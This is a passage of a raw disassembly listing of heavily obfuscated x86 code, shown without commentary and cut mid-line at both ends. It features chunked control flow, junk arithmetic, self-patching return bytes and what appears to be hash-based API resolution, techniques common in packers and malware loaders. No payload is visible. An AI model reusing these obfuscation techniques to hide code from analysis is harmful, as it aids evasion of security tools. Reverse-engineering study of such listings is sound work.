9B44CEF6h pop eax xor eax, 5AA029A9h add eax, 0F2F212CEh jmp loc_747F6F ; END OF FUNCTION CHUNK FOR sub_75622B ; =============== S U B R O U T I N E ======================================= sub_75565F proc near ; CODE XREF: sub_747736+F661j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00752337 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0075530F SIZE 00000005 BYTES push ebx push 0A97813B8h xchg ebp, [esp+8+var_8] mov ebx, ebp pop ebp add ebx, 0B27FB531h or ebx, 711AAB43h jmp loc_75530F sub_75565F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_75567C: ; CODE XREF: sub_746640:loc_7471EAj cmp dword ptr [ebp-20h], 0 jge loc_74FB54 jmp loc_756361 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- loc_75568B: ; CODE XREF: _0z4jwtox:00751160j or esi, 0A99BB11Eh jg loc_7536BA loc_755697: ; CODE XREF: _0z4jwtox:00753615j rol eax, 0Dh xor eax, 5291EDF4h rol eax, 16h jb loc_756CA5 cmp ebx, eax jmp loc_750C97 ; --------------------------------------------------------------------------- jmp ds:off_41F0B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529AB loc_7556B6: ; CODE XREF: sub_756AA2:loc_74DFEEj ; _0z4jwtox:007504ECj ... xchg ebx, [esp+0] mov edx, ebx pop ebx js loc_7529B3 mov eax, [esp-4+arg_0] push esi jmp loc_752BB0 ; END OF FUNCTION CHUNK FOR sub_7529AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_7556CB: ; CODE XREF: sub_756496+Cj or eax, eax jnz loc_74AF08 jmp loc_74F76B ; END OF FUNCTION CHUNK FOR sub_756496 ; =============== S U B R O U T I N E ======================================= sub_7556D8 proc near ; CODE XREF: _0z4jwtox:0074B452j ; sub_74C0C0+8p ; FUNCTION CHUNK AT 00748118 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751E5A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007529F6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752B24 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00753F0F SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx pop ecx push ebx pushf push 29743Bh jmp loc_7529F6 sub_7556D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_7556E9: ; CODE XREF: sub_7514AC+2BC4j jl loc_749DE7 sbb edx, edi add ebp, 0B0FCF97Eh mov esi, ebp loc_7556F9: ; CODE XREF: sub_7514AC:loc_747616j ; _0z4jwtox:00748083j ... jmp loc_7565AD ; --------------------------------------------------------------------------- loc_7556FE: ; CODE XREF: sub_7514AC-927Bj ; _0z4jwtox:0074AE5Cj pop ecx loc_7556FF: ; CODE XREF: _0z4jwtox:00745BEDj jmp loc_74E3A2 ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457DD loc_755704: ; CODE XREF: sub_7457DD+C899j jns loc_750040 add esi, eax loc_75570C: ; CODE XREF: sub_7457DD:loc_7515CDj push 9753961Ch call sub_750C2D ; END OF FUNCTION CHUNK FOR sub_7457DD ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_755716: ; CODE XREF: sub_748FA4+3070j jmp loc_745BB3 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_75571B: ; CODE XREF: sub_7543C5-94BAj jmp loc_747DE0 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746145 loc_755720: ; CODE XREF: sub_746145+4673j jmp sub_745A78 ; END OF FUNCTION CHUNK FOR sub_746145 ; --------------------------------------------------------------------------- not ebx mov ebx, 5ECAD698h jmp sub_74F7B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_755731: ; CODE XREF: sub_745C55+6CA6j jnp loc_7456B7 not ecx jmp loc_745C4D ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- loc_75573E: ; CODE XREF: _0z4jwtox:loc_746B38j push edx call sub_753D0E mov eax, 0B9726E5Ah call sub_7560FD ; START OF FUNCTION CHUNK FOR sub_749161 loc_75574E: ; CODE XREF: sub_749161+10j jmp loc_74A1FC ; END OF FUNCTION CHUNK FOR sub_749161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7459E9 loc_755753: ; CODE XREF: sub_7459E9+Aj ; _0z4jwtox:007574F1j jmp nullsub_156 ; END OF FUNCTION CHUNK FOR sub_7459E9 ; --------------------------------------------------------------------------- locret_755758: ; CODE XREF: _0z4jwtox:loc_74D380j retn ; --------------------------------------------------------------------------- loc_755759: ; CODE XREF: _0z4jwtox:0075077Aj jmp loc_74E948 ; --------------------------------------------------------------------------- popf jmp sub_74E84B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_755764: ; CODE XREF: sub_7474B9+D190j sbb edx, eax jmp loc_74F10A ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- loc_75576B: ; CODE XREF: _0z4jwtox:00750084j xor eax, 34EB07C7h or eax, 868204ADh sub eax, 9C392F3Bh call sub_74A8E3 loc_755782: ; CODE XREF: _0z4jwtox:0074D6B9j jnp loc_74DCEF pop ebp ; =============== S U B R O U T I N E ======================================= sub_755789 proc near ; CODE XREF: sub_74F73B:loc_74CEBEp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007499D5 SIZE 00000015 BYTES xchg ecx, [esp-4+arg_0] pop ecx push 282BCFAAh xchg ebx, [esp-4+arg_0] mov edx, ebx jmp loc_7499D5 sub_755789 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_75579C proc near ; DATA XREF: sub_747B31:loc_755C23o var_4 = dword ptr -4 push ebp mov ebp, eax xchg ebp, [esp+4+var_4] ror eax, 11h mov ds:dword_74B948, eax retn sub_75579C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7491FD loc_7557AC: ; CODE XREF: sub_7491FD+Ej jmp loc_746602 ; END OF FUNCTION CHUNK FOR sub_7491FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_7557B1: ; CODE XREF: sub_74CBCF-493Fj jmp nullsub_157 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_7557B6: ; CODE XREF: sub_747B31+BA9j rol eax, 11h jmp loc_751438 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- loc_7557BE: ; DATA XREF: sub_745715+5o push 32484B3Ch pop ecx add ecx, 552F4004h sub ecx, 0EEF34E1Ch or ecx, 649893D2h sub ecx, 2DB2ABBAh test ecx, 100h jmp loc_755111 ; =============== S U B R O U T I N E ======================================= sub_7557E7 proc near ; CODE XREF: _0z4jwtox:00753FB0j ; sub_748E1D:loc_75754Cp var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745F5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746BFE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00748BAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B974 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074C02C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D36C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D75E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074F052 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074F0C0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074F5A7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F996 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007502AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007509EF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00752D73 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00756581 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00756F7C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007573D4 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi mov eax, [esp-4+arg_0] push edx call sub_756826 push 0F8007Bh pop eax xor eax, 2CE49A80h jmp loc_74D36C sub_7557E7 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_292. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C4BB loc_755806: ; CODE XREF: sub_74C4BB+Fj jmp loc_74875B ; END OF FUNCTION CHUNK FOR sub_74C4BB ; --------------------------------------------------------------------------- loc_75580B: ; CODE XREF: _0z4jwtox:0074A87Ej jmp locret_746F32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_755810: ; CODE XREF: sub_750638-A205j jz loc_74D675 and eax, ebx loc_755818: ; CODE XREF: sub_748B44:loc_75679Aj call sub_7473E6 ; END OF FUNCTION CHUNK FOR sub_750638 ; START OF FUNCTION CHUNK FOR sub_74A821 loc_75581D: ; CODE XREF: sub_74A821-418Cj mov esi, ebx mov [edx], edi and ecx, ebx and edi, esi jmp loc_74AED3 ; END OF FUNCTION CHUNK FOR sub_74A821 ; =============== S U B R O U T I N E ======================================= sub_75582A proc near ; DATA XREF: sub_747C22+290Ao ; FUNCTION CHUNK AT 00746FF2 SIZE 00000005 BYTES add eax, ebp add eax, 0F1E0B35Ch mov eax, [eax] call sub_753AAD jmp loc_746FF2 sub_75582A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75583E: ; CODE XREF: sub_747C22:loc_747DC8j mov eax, [ebp-24h] jmp loc_753E27 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx call sub_747892 jmp loc_745EB0 ; --------------------------------------------------------------------------- loc_755855: ; CODE XREF: _0z4jwtox:00754E5Bj mov eax, 9E471775h call sub_746E93 mov ds:off_41F014, eax lea eax, loc_748EB3 mov byte ptr [eax], 0C3h jmp loc_75647A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745BF7 loc_755873: ; CODE XREF: sub_745BF7:loc_74CA77j call sub_756123 pop eax cmp dword ptr [eax], 0 jnz loc_745C07 jmp sub_745BF7 ; END OF FUNCTION CHUNK FOR sub_745BF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_755887: ; CODE XREF: sub_74FE55:loc_74E83Cj jz loc_750861 jmp loc_75626A ; END OF FUNCTION CHUNK FOR sub_74FE55 ; =============== S U B R O U T I N E ======================================= sub_755892 proc near ; DATA XREF: sub_74AD56:loc_7573C5o ; FUNCTION CHUNK AT 0074B19F SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074E14C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753377 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753F00 SIZE 00000005 BYTES mov eax, [ebp+8] test byte ptr [eax-8], 80h jz loc_74B19F inc dword ptr [ebp-8] loc_7558A2: ; CODE XREF: _0z4jwtox:0074A440j ; sub_755892:loc_753F00j mov eax, [ebp-8] pop ecx pop ecx pop ebp jmp loc_753377 sub_755892 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753B3E loc_7558AD: ; CODE XREF: sub_753B3E:loc_7550FEj add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_74E7A6 ; END OF FUNCTION CHUNK FOR sub_753B3E ; =============== S U B R O U T I N E ======================================= sub_7558BD proc near ; CODE XREF: _0z4jwtox:0074F631j ; sub_748723+9EDFp xchg esi, [esp+0] pop esi add ebx, eax call sub_748773 mov [ecx], edx jmp loc_745E8F sub_7558BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7558CF: ; CODE XREF: _0z4jwtox:00750B00j popf ; =============== S U B R O U T I N E ======================================= sub_7558D0 proc near ; CODE XREF: sub_747AEC:loc_74B0CEp ; FUNCTION CHUNK AT 00747216 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007472AF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074D954 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0075103D SIZE 00000015 BYTES xchg esi, [esp+0] pop esi add ecx, 228656DBh loc_7558DA: ; CODE XREF: _0z4jwtox:loc_7524CBj xor eax, ecx jmp loc_74D954 sub_7558D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_7558E1: ; CODE XREF: _0z4jwtox:0074DBABj jnz loc_74551E or eax, 42256C66h and esi, 89938CCAh popf jmp loc_74DED0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_7558FA: ; CODE XREF: sub_74AAC1+3CE8j jmp loc_756E79 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_7558FF: ; CODE XREF: _0z4jwtox:loc_748217j jz loc_756B8A ; START OF FUNCTION CHUNK FOR sub_746CC3 loc_755905: ; CODE XREF: sub_746CC3+972j jmp loc_756ACD ; END OF FUNCTION CHUNK FOR sub_746CC3 ; --------------------------------------------------------------------------- cmp edi, 5D46F83Fh jmp loc_756B83 ; =============== S U B R O U T I N E ======================================= sub_755915 proc near ; CODE XREF: _0z4jwtox:0074B778j ; _0z4jwtox:0074FDAAp arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ebp, [esp-4+arg_0] call sub_75547D loc_755921: ; CODE XREF: _0z4jwtox:00747C34j xchg ebp, [esi] sub_755915 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_755923 proc near ; CODE XREF: sub_7529AB+20Ap xchg edx, [esp+0] pop edx push edi jmp loc_746DA6 sub_755923 endp ; --------------------------------------------------------------------------- loc_75592D: ; CODE XREF: _0z4jwtox:loc_7564BBj jz loc_74F776 jmp loc_75034D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_755938: ; CODE XREF: sub_752520:loc_74FE00j jz loc_7472FB jmp loc_756FCB ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- mov ebp, [eax] jmp loc_74DDFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA92 loc_75594A: ; CODE XREF: sub_74BA92:loc_749A2Fj add eax, 0F6D523BEh mov eax, [eax] mov edx, eax push edi call sub_7503D8 loc_75595A: ; CODE XREF: sub_746E37+A55Cj jmp nullsub_182 ; END OF FUNCTION CHUNK FOR sub_74BA92 ; --------------------------------------------------------------------------- loc_75595F: ; CODE XREF: _0z4jwtox:007507C1j jmp nullsub_10 ; =============== S U B R O U T I N E ======================================= sub_755964 proc near ; CODE XREF: _0z4jwtox:0074951Fj ; sub_74E40A:loc_74C114p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074D6DD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DC45 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx mov ds:off_41F0F8, eax lea eax, sub_75100C loc_755974: ; CODE XREF: _0z4jwtox:loc_750E16j jmp loc_74D6DD sub_755964 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_755979: ; CODE XREF: sub_75712E-10DFFj jge loc_74F8BF ; END OF FUNCTION CHUNK FOR sub_75712E ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_75597F: ; CODE XREF: sub_74BD6F-2283j jmp loc_74DFBE ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- jz loc_75510C jmp loc_7565C9 ; --------------------------------------------------------------------------- loc_75598F: ; CODE XREF: _0z4jwtox:loc_756945j ; _0z4jwtox:00756955j xor eax, 73A07F5Ah call sub_746E93 mov ds:dword_41F034, eax lea eax, nullsub_291 jmp loc_745AD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_7559AB: ; CODE XREF: sub_74C670-1AD3j pop ecx or edi, 636CD05Fh add edi, 0A10B323Bh sub edi, 0A21FA091h jmp loc_74E807 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7559C3: ; CODE XREF: sub_747C22:loc_74C019j ; sub_747C22:loc_75249Fj mov eax, [ebp-1Ch] push esi push 0DB801F8Bh pop esi add esi, 0B1F4DECBh jmp loc_7475F0 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_7559D8 proc near ; DATA XREF: sub_755C10-8B85o add edx, 3E8772C4h add edx, ebp add edx, 0BE6A7CF6h push offset loc_74EF7A jmp nullsub_197 sub_7559D8 endp ; =============== S U B R O U T I N E ======================================= sub_7559F0 proc near ; CODE XREF: sub_75299B+6p ; _0z4jwtox:00755D7Cj ; FUNCTION CHUNK AT 007543DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754CAA SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx pop ecx lea eax, loc_7556B6 jmp loc_754CAA sub_7559F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_755A00 proc near ; DATA XREF: _0z4jwtox:loc_7546E9o add edx, 94619A9Ah mov [edx], eax pop edx lea eax, nullsub_174 mov byte ptr [eax], 0C3h jmp nullsub_174 sub_755A00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_755A17: ; CODE XREF: _0z4jwtox:0074F2A6j mov eax, [esp] push edx jmp loc_74F693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C10 loc_755A20: ; CODE XREF: sub_755C10:loc_7566BDj ; _0z4jwtox:007566CFj xor edx, 6FB79669h add edx, ebp add edx, 14DD6993h mov [edx], eax pop edx jmp loc_74EFA8 ; END OF FUNCTION CHUNK FOR sub_755C10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_755A36: ; CODE XREF: sub_74BF3A:loc_754BB9j mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_75237C call sub_74FA8F jmp loc_74B8B0 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753538 loc_755A4C: ; CODE XREF: sub_753538+Dj lea eax, sub_7562D5 mov byte ptr [eax], 0C3h jmp loc_74A456 ; END OF FUNCTION CHUNK FOR sub_753538 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562D5 loc_755A5A: ; CODE XREF: sub_7562D5+1j mov eax, [esp+0] push edx call sub_754E36 mov eax, 524E554Eh call sub_746E93 mov ds:off_41F048, eax jmp loc_753D71 ; END OF FUNCTION CHUNK FOR sub_7562D5 ; --------------------------------------------------------------------------- adc ebx, 53919358h jmp sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_755A83: ; CODE XREF: sub_74C2C9+11j jz loc_7485E0 mov eax, ds:dword_74B2AC mov eax, [eax] mov dword ptr ds:loc_74F377+1, eax jmp loc_750F19 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_755A9A: ; CODE XREF: sub_75143A-B0FAj jg loc_748D92 jnb loc_7563E2 shl eax, 13h loc_755AA9: ; CODE XREF: sub_75143A:loc_7471FFj push eax jmp loc_749AA3 ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_755AAF: ; CODE XREF: sub_746C5E+E234j jl loc_7555C2 ; END OF FUNCTION CHUNK FOR sub_746C5E ; START OF FUNCTION CHUNK FOR sub_74C874 loc_755AB5: ; CODE XREF: sub_74C874-D7j jmp loc_74E095 ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- cmp ebx, 0FFFFC07Bh jmp loc_7555B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755148 loc_755AC5: ; CODE XREF: sub_755148+1F4Bj sub edi, 2A65F027h or edi, 1EB924D7h add edi, 0C1772314h xchg edi, [esp+4+var_4] jmp loc_74CF97 ; END OF FUNCTION CHUNK FOR sub_755148 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_755ADF: ; CODE XREF: sub_7572F3:loc_757302j xor ecx, ebp jmp loc_74A398 ; END OF FUNCTION CHUNK FOR sub_7572F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_755AE7: ; CODE XREF: sub_74AE67+1Cj adc edi, ebp add ecx, 83E5F7C3h cdq mov [esi], edx jmp loc_74904F ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_755AF7: ; CODE XREF: sub_74946E:loc_7477EFj add edx, 33E6ABBh push offset loc_74D1AA jmp nullsub_163 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_755B07: ; CODE XREF: sub_74FE55:loc_75086Bj pop esi mov eax, [eax] mov al, [eax] jnz loc_74A3D0 sub al, 99h mov edx, [ebp-4] jmp loc_749083 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- loc_755B1C: ; CODE XREF: _0z4jwtox:0075025Aj jnb loc_7466C4 ; =============== S U B R O U T I N E ======================================= sub_755B22 proc near ; CODE XREF: sub_7474B9+D4E1p ; FUNCTION CHUNK AT 00745013 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007506F7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00753B9D SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push edx call sub_753D0E mov eax, 0E5254649h call sub_746E93 mov ds:dword_41F0B0, eax jmp loc_753B9D sub_755B22 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_755B41: ; CODE XREF: sub_753176:loc_746D99j jz loc_747CF4 jmp loc_74BFA3 ; END OF FUNCTION CHUNK FOR sub_753176 ; --------------------------------------------------------------------------- loc_755B4C: ; CODE XREF: _0z4jwtox:loc_74B423j call sub_74BA29 mov ds:dword_75161C, eax jmp loc_74E190 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_755B5B proc near ; CODE XREF: sub_7451D9j ; FUNCTION CHUNK AT 0074E181 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00753F29 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 007564C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757556 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_753F29 sub_755B5B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7553F4 loc_755B64: ; CODE XREF: sub_7553F4:loc_755402j xor eax, 1EBCAD72h add eax, ebp push offset sub_74E6F5 jmp loc_749C9F ; END OF FUNCTION CHUNK FOR sub_7553F4 ; --------------------------------------------------------------------------- loc_755B76: ; CODE XREF: _0z4jwtox:0074DCB3j mov edx, ds:dword_746E84 or edx, edx jnz loc_74BC7C jmp loc_753C36 ; --------------------------------------------------------------------------- loc_755B89: ; DATA XREF: sub_755CFC-A61Fo or edx, 40h or eax, edx mov edx, [ebp+8] mov [edx-8], eax ; START OF FUNCTION CHUNK FOR sub_74B719 loc_755B94: ; CODE XREF: sub_74B719-5509j ; sub_74B719-2F65j ... mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp-8] jmp loc_7450E7 ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- cmp edx, ebp jmp loc_7572B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_755BA9: ; CODE XREF: sub_750638:loc_75531Fj jz loc_749596 jmp loc_746A39 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- mov eax, 0A4811312h call sub_746E93 mov ds:off_41F07C, eax call sub_75118C and ebp, 87CE4807h jmp sub_751ECC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_755BD4: ; CODE XREF: sub_74AE46+5BCj jge loc_750E59 loc_755BDA: ; CODE XREF: sub_7571A1+707j jmp loc_750040 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_755BDF: ; CODE XREF: sub_75143A-A235j jmp loc_746334 ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- mov edi, edx mov [eax], edx js loc_747AAA jle loc_7478C8 jmp loc_750E59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_755BF9: ; CODE XREF: sub_74C670-1AA3j ; sub_74742A:loc_74B481j ... jmp loc_74780E ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74742A loc_755BFE: ; CODE XREF: sub_74742A+7j ; sub_74C670+ACD9j xchg eax, [esp-4+arg_0] mov ecx, eax pop eax pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74742A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_755C06: ; CODE XREF: sub_75143A-797Dj jmp loc_75603C ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_755C0B: ; CODE XREF: sub_7572F3-11123j jmp loc_749D2A ; END OF FUNCTION CHUNK FOR sub_7572F3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_755C10 proc near ; CODE XREF: sub_747736-E28p ; _0z4jwtox:00748B67p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074798D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074D07E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074E4B4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074EFA8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00751F8A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007552A3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00755A20 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007566BD SIZE 0000000B BYTES push ebp mov ebp, esp jmp loc_74798D sub_755C10 endp ; --------------------------------------------------------------------------- jl loc_74D174 jmp loc_746122 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_755C23: ; CODE XREF: sub_747B31+D1CEj push offset sub_75579C jmp nullsub_122 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_755C2D: ; CODE XREF: sub_74D23E:loc_75340Bj jz loc_7540A9 jmp loc_74C1A9 ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_755C38 proc near ; DATA XREF: sub_750F2E:loc_755CCAo ; FUNCTION CHUNK AT 00745866 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00746524 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00746796 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00749524 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074ADEB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074B407 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074DBFC SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074DD1B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E714 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E81B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074F01A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007502A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751112 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753C9C SIZE 00000005 BYTES call sub_746E93 loc_755C3D: ; CODE XREF: _0z4jwtox:007539EEj push edx push 7BE012C9h pop edx or edx, 0E01AF67h rol edx, 16h jmp loc_753C9C sub_755C38 endp ; --------------------------------------------------------------------------- loc_755C52: ; CODE XREF: _0z4jwtox:00747EA7j shl ecx, 0Bh loc_755C55: ; CODE XREF: _0z4jwtox:loc_747E95j add ebx, 53E10D68h xor ebx, 0ED1A8CD3h cmp ebx, 8A38ADD4h jmp loc_748EBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756FF2 loc_755C6C: ; CODE XREF: sub_756FF2+Bj mov ecx, edx xchg ecx, [esp+4+var_4] push edi push 4E52E4D4h pop edi add edi, 0AB4B64E1h and edi, 0E0DD02AEh add edi, 1FD8FD33h jmp loc_74FDCF ; END OF FUNCTION CHUNK FOR sub_756FF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 